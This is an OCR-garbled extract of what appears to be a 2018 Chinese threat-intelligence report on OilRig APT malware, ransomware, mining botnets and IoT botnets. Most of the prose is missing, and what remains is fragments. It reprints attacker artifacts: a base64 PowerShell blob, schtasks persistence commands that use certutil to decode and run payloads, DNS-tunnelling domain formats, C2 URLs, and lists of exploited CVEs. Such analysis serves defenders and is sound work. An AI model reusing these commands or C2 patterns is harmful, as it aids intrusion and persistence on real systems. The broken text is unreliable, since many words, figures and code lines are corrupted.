0307W2FycmF5XTo6UmV2ZXJzZSgkZCk7aWv4KFsn 1 CsgW2NoYXJdMHgIMyAr 1CdOcmluZ1060kon
1CsgW2NoYXJdMHg2Z1Ar 1CdpbignJycnLCRkKSK70ycpKTtpZXgoJEJCKQ=="

CortanaService










Tmp.doc

%APPDATA%\Base.txt
%APPDATA%\Base.txt Base64
%PUBLIC%\Libraries\servicereset.exe ]
servicereset.exe  ISMAgent SmartAssembly .NET
de4dot
PolicyConverter.exe
C# de4dot
]
ns2.Classb.smethod 15
PolicyConverter.Resources Tskl

Tsk2 cmd

Tskl | "SchTasks /Create /SC MINUTE /MO 4 /TN \"ReportHealth\" /TR
\"%localappdata’\\srvHealth.exe\" /f"

Tsk2 | "SchTasks /Create /SC MINUTE /MO 2 /TN \"LocalReportHealth\" /TR \"cmd.exe /c certutil
-decode Y%localappdata¥\\srVBS.txt %localappdata¥\\srvHealth.exe && schtasks /DELETE /tn
LocalReportHealth /f && del %localappdata¥\\srVBS.txt\""

38 OilRig 2

Tskl srvHealth.exe Tsk2 SrVBS.txt Base64
srvHealth.exel
ns2.Class5.smethod_27
Joiner.dll Inner.dll

bite[] arg = Clazs5. smethod_25 (800, Clasz=8. joiner_0.Join(}):

Class&. irmer 0.LoadD1l {"Fun”, arg, “C:WiWindows\\Microsoft. NETW\Framework' w2, 0. 50727\ \Regism. exe”) ;

Application. Exit ()

261 OilRig 2

Joiner.dll

Joiner Joiner.dll
P11+P12+P21+P22 ]




Inner.dll
Join  LoadDl| Join  Joiner.dll Joiner
Inner.dll Join Inner.dll D1+D2 ]
LoadDll Join ( DLL
PolicyLab.dll) LoadDll PolicyLab.dll Clsv2 Joiner
Clsv2 run
run https://gist.github.com/BahNahNah/ad367b320f5e62f59b38
Oilrig
DLL ASCIl ]

262 OilRig 3

ISMAgent PE
ISMAgent
C:\\Windows\\Microsoft. NET\\Framework\\v2.0.50727\\RegAsm.exe
PE

PolicyLab.dll C# 7ea294ede696d38377ab1269dd408b6d

ISMAgent RAT C++ 8f39e782211d8e65158c98fb7dc85698

39 OilRig 3

HTTP
DNS ]

Base64 HTTP URL
DNS ]



https://gist.github.com/BahNahNah/ad367b320f5e62f59b38

GUID
Unknown
URL TEMP
Powershell powershell TEMP
runlog[rand].tmp
FilePath C&C
40 OilRig 4
B
2017 11 14 CVE-2017-11882 FireEye
]
doc CVE-2017-11882
hxxp://mumbai-m[.]site/b.txt mshta.exe hta hta
hxxp://dns-update[.]club/v.txt VBS VBS

]
C:\ProgramData\Windows\Microsoft\java\GoogleUpdateschecker.VBS
C:\ProgramData\Windows\Microsoft\java\hUpdateCheckers.psl
C:\ProgramData\Windows\Microsoft\java\dUpdateCheckers.ps1
C:\ProgramData\Windows\Microsoft\java\cUpdateCheckers.bat

263 OilRig 4




dUpdateCheckers.ps1(BONDUPDATER)
powershell WMI uuiD
get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty
UUID | %{$_replace('-" ")} | %{$_+ "120120011224"} | %{$_substring(0 12)};
DGA
[random string][0][000][computer UUID Decrypt][BOO7][.][mumbai-m.site]

0
1 ps
2 VBS

41 OilRig 5

hUpdateCheckers.ps1(POWRUNER)
powershell
[http://www.mumbai-m.site/update_wapp2.aspx?version=[$dar.Insert($cr[0]
$ridin.Trim()).Insert(($cr[1])  ${UUID})][str]7[random_index1][random_index2]]
URL
base64
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cUpdateCheckers.bat

GoogleUpdateschecker.VBS
GoogleUpdateschecker.VBS

dUpdateCheckers.psl  hUpdateCheckers.psl

C
2018 1 8 OilRig Beirut Insurance Seminar Invitation
] QilRig
] ]
] Seminar-
Invitation.doc ThreeDollars ]
OopslE ]
)|
%APPDATA% Tmp.doc
#H#$3S H#H#S$S
%APPDATA%\Base.txt 1 Certutil -decode Base.txt
Base64 %programdata¥\IntelSecurityAssistManager.exe
PE ] VBA VBS %APPDATAY%\chkSrv.VBS |
chkSrv.VBS
user32.dll ]

e0bf38e77143363bf761d52039d3e171(IntelSecurityAssistManager.exe)|OopsIE
PE C# OopslE







[day][Hour][Second][millisecond].tmp

True 16

)|
000000 | z
00000 | x
0000 y
000 g
00 w
01 t
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False
1500 tmp
tmp ]
1i

Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) +
"\\srvCheckresponded.tmp"

VBS
Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) +
"\\srvResesponded.VBS
21
VBS ] %app% srvResesponded.VBS
Sch Y%path% srvResesponded.VBS cmd
Sch "SchTasks /Create /SC MINUTE /MO 3 /TN

\"InetlSecurityAssistManager\" /TR \"wscript %path%\" /"]
3l DLL




ClearProjecError()
S1 S2 Gzip
Interop.SHDocVw.dIll
4)

ption. SendRequest sindPearHtml ("chk*, StatiacInformation. ComputerInfo HEX). Trim().Contains(StatiacInformation. ComputerInfo HEX))

267 OilRig 9

Computerinfo_HEX

[computername]/[machinename] 16
URL ]
SHDocVw.dll
InternetExplorer ]
HTML <pre></pre>
srvCheckresponded.tmp srvCheckresponded.tmp
]
51 C&C
what text text
Oops <> ] flag
flag flag
1 cmd.exe /c Hex2Str(regests info) > tmpCa.VBS

http://www.msOffice365cdn.com/resp?[ComputerHex]AAZ[FileLines]

http://www.msOffice365cdn.com/resp?[ComputerHex]AAZFinish
tmpCa.VBS

array[Q]:
array[1]:




http://www.msOffice365cdn.com/resp?[ComputerHex]AAZUploaded

http://www.msOffice365cdn.com/resp?[ComputerHex]ABZ[FileLines]

http://www.msOffice365cdn.com/resp?[ComputerHex]ABZFinish

http://www.msOffice365cdn.com/resp?[ComputerHex]AAZ[Changelnfo2He

others
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Paloaloto 2018 9 OilRig
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VW C:\ProgramData\WindowsAppPool




AAAA | L C:\ProgramData\WindowsAppPool\AppPool.VBS
2. HGHG
HGHG PS C:\ProgramData\WindowsAppPool\AppPool.psl
45 OilRig 9
AppPool.VBS
VBS [C:\ProgramData\WindowsAppPool\quid]

C:\ProgramData\WindowsAppPool\AppPool.ps1
C:\ProgramData\WindowsAppPool\AppPool.VBS
C:\ProgramData\WindowsAppPoo\AppPool.psl1]
AppPool.psl

Powershell powershell

Mxa | \\

SGF | $

X9P

7m ||

xV
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BONDUPDATER
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GUID 8 10-99

Guid_content Guid_content
$SWWC $VVC DDDI

SWWC DNS
M A/TXT C&C
0 A

1 A
2 A
W TXT
D TXT
P TXT A
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$z7C

[$DDD][$AAD][Random[1-7]*[0-9A-F]]C[Random[0-9]][Randomp[0-
9J]T.$XXC.YYC.withyourface.com

[$DDD][$AAD][Random[1-7]*[0-9A-F]]C[Random[0-9]][Randomp[0-
9]]T.withyourface.com
AAD

000$number | $number < 10

00$number | $number < 100

0$number $number < 1000

$number $number >= 1000
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DNS
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C&C IP 53 UPD
[UDP_Header][a4 a3 01 00 00 01 00 00 00 00 00 00
00 10 00 10]
DNS
DNS C&C
*- (base64 )
$27D
$27D SAAE $ct
$ct $data base64 $byts
$Sbyts SAAE
$ct 0
49 OilRig 14




$AppPool_path\\$Guid_Content\\receivebox rcvd

rcvd proc
0 rcvd cmd.exe sendbox
proc
1 sendbox proc
Any other sendbox proc done
character
50 OilRig 15
[0 1] C&C DNS A
11.24.237.110
24.125\d{1 3}\d{1 3} rcvd
\d.\d.\d.\d
1.23\d{1 3}
51 OilRig 16
proc
16 30 16
30
2 C&C DNS

253.25.42.87
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VNC FTP
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)|
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20
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2018

2018

2018
2018

2018
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2

7
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)|

SamSam
]

Satan

]
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GandCrab V1

1
Hermes ]
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2 2018
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4

Windows

Ryuk
400 )|

2018

GandCrab ]
Iron Group | J
Xbash Linux |
)|
Emotet TrickBot  TrickBot

] Ryuk

GandCrab




1 2018 3 QQ

2 2017 XiaoBa ]

Xiaoba[ ] J
] 200

3 2018 12 UNNAMED1989
10 ] 110
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1 Globelmposter

RDP SMB
Globelmposter1.01 Globelmposter2.0s Globelmposter3.0.
Globelmposter4.0

J J

RSA+AES
2018 2 Globelmposter
2018 9 Globelmposter
2018 7 Globelmposter

J

1 )|
2019 3 Globelmposter 3.0 ]
.snake4444

) RDP




2 GandCrab

RaaS

2018-0896

2018 1

]

2019 3

RDP1 VNC

WInRAR CVE-2018-20250 SMB Win10

CVE-2018-8120 WebLogic

GandCrabl.0-GandCrab5.2 5

3 Crysis/Dharma

2018 6
2018 7

5.3

RSA+AES
GandCrab5.1 GandCrab5.0.4
GandCrab
GandCrab
03-11-2019.rar 1
GandCrab 52
IP |
1

RDP 1

)|
.dharmai .arenal .javal .arrows .bip
RSA+AES

CrysSiS

crysis
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WannaCry 14

34%
277
] 1
CVE-2017-0143 WannaMiner
CVE-2017-0144 MyKings
CVE-2017-0145 NSABuffMiner
CVE-2017-0146 NSAMsdMiner




CVE-2017-0148

Blouiroet

BuleHero
JBOss JBoss (CVE- 8220
2013-4810)
JBoss (CVE-
2010-0738)
JBoss
CVE-2017-12149
Apache Struts2 Apache Struts2 KoiMiner Satan
(S2-045) KoiMiner  BuleHero
Apache Struts2
(S2-057)
Dupal CVE-2018-7600 8220 Kitty
CVE-2018-7602
Tomcat Tomcat Satan BuleHero
CVE-2017-12615
WebLogic WebLogic WLS watch-smartd
CVE-
2017-3506
WebLogic WLS
CVE-
2017-10271  CVE-
2018-2628 CVE-2018-
2894
ThinkPHP ThinkPHP5 ibus
(CNVD-2018-24942)
Jenkins CVE-2018-1000861 Kerberods
Confluence CVE-2019-3396 seasame
CVE-2019-3398
Samba CVE-2017-7494 EternalMiner
SambaCry

Hadoop Yarn REST API

8220



http://www.cnvd.org.cn/flaw/show/CNVD-2018-24942
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https://paper.seebug.org/886/
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https://www.4hou.com/malware/18408.html
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1 MyKings
MyKings 2017 2
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SQL SERVER 1 FTP

DDoSs Proxy J
RAT 1 Miner ]
1 Mykings Github
] 2018 5 MyKings NSISMiner
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8220 2018 8
]
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)|
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WannaMine 3.0
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6.1 loT

1999  Kevin Ashton Internet of Things
20 1 2018 loT 75
] 2021 ] l
l
)|
]
)| l
] loT
)|
1% )|
PCl
)
loT ]
DDoS l J J
]
VenusEye 2018 loT
21.49% ] 16.03% 5.65%
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2018 loT C&C 19.19%
C&C 8.18% 8.03%
6.79% 3.77% 1
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2018 loT C&C
12.20% 1 8.19% 1J 6.28% 5.23% I







NetCore 53413/UDP

D-Link DIR-645 (CVE-2015-2051)

57

loT

DDoS 1

HTTP_ _NetGear

HTTP_JAWS _shell

HTTP_AVTECH _SSRF

Hikvision

Dahua

HTTP_AVTECH DVR_

XiongMai uc-httpd 1.0.0

Avtech

Kguard Digital Video Recorder

HiSilicon DVR/NVR Soc

CCTV-DVR

Belkin NetCam
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1 loT
VPNFilter
2018 5 54
VPNFilter

APT
loT
500000
LinkSyS Mikrotik Netgear

Link 1 1
APT |

loT

APT ]
NAS
QNAP TP-Link D-
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6.2 loT

15 loT ]
Hajime  Mirai ]

loT
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1 ADB.Miner
2018 2 7500+ ]
Mirai  SYN ] 5555 ADB
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]
2 Hide ‘N Seek
2018 1 170 P2P ) IP
10W J Mirai (23
80/8080 2480 5984)
OrientDB CouchDB (JAWS DVR CCTV)
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3 Satori CoinTobber
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D-Link DSL-2750B 2018 5 GPON




DDoS )|
4 Muhstik
2018 4 11
(80 8080 7001 2004 ) ]
DDoS )
5 VPNFilter
2018 5 54 500000
NAS VPNFilter LinkSyS1 Mikrotiki Netgear.
QNAPJ TP-Links D-Linki ]
APT )|
1 loT

2 TOR C&C 3

TOR J
6 Prowli
2018 6 40000
DSL loT ] ]
7 Anarchy
2018 7 18000 CVE-2017-17215 CVE-2014-
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8 Death
2018 6 14 AVTech DVR NVR

9 Ghost DNS
DNS 10000
70 web dnscfg.cgi
DNS Rogue DNS Server 52
)|

10 HakKai
2018 7 Mirai  Gafgyt loT
] D-Link ]
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15

2018 9 ADB

Fbot
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)|
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2018 8 SSH
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APT33

1

BlackEnergy

Saipem

GreyEnergy

10%



http://country.huanqiu.com/china?agt=46?fr

7.3

IPV6

7.4

IPV61 5G.

100%

RSA

)

IPv6
10Gbps
1 5G

1 1
l

IPv4

4G 1 Gbps

loT







2019 RSA Better




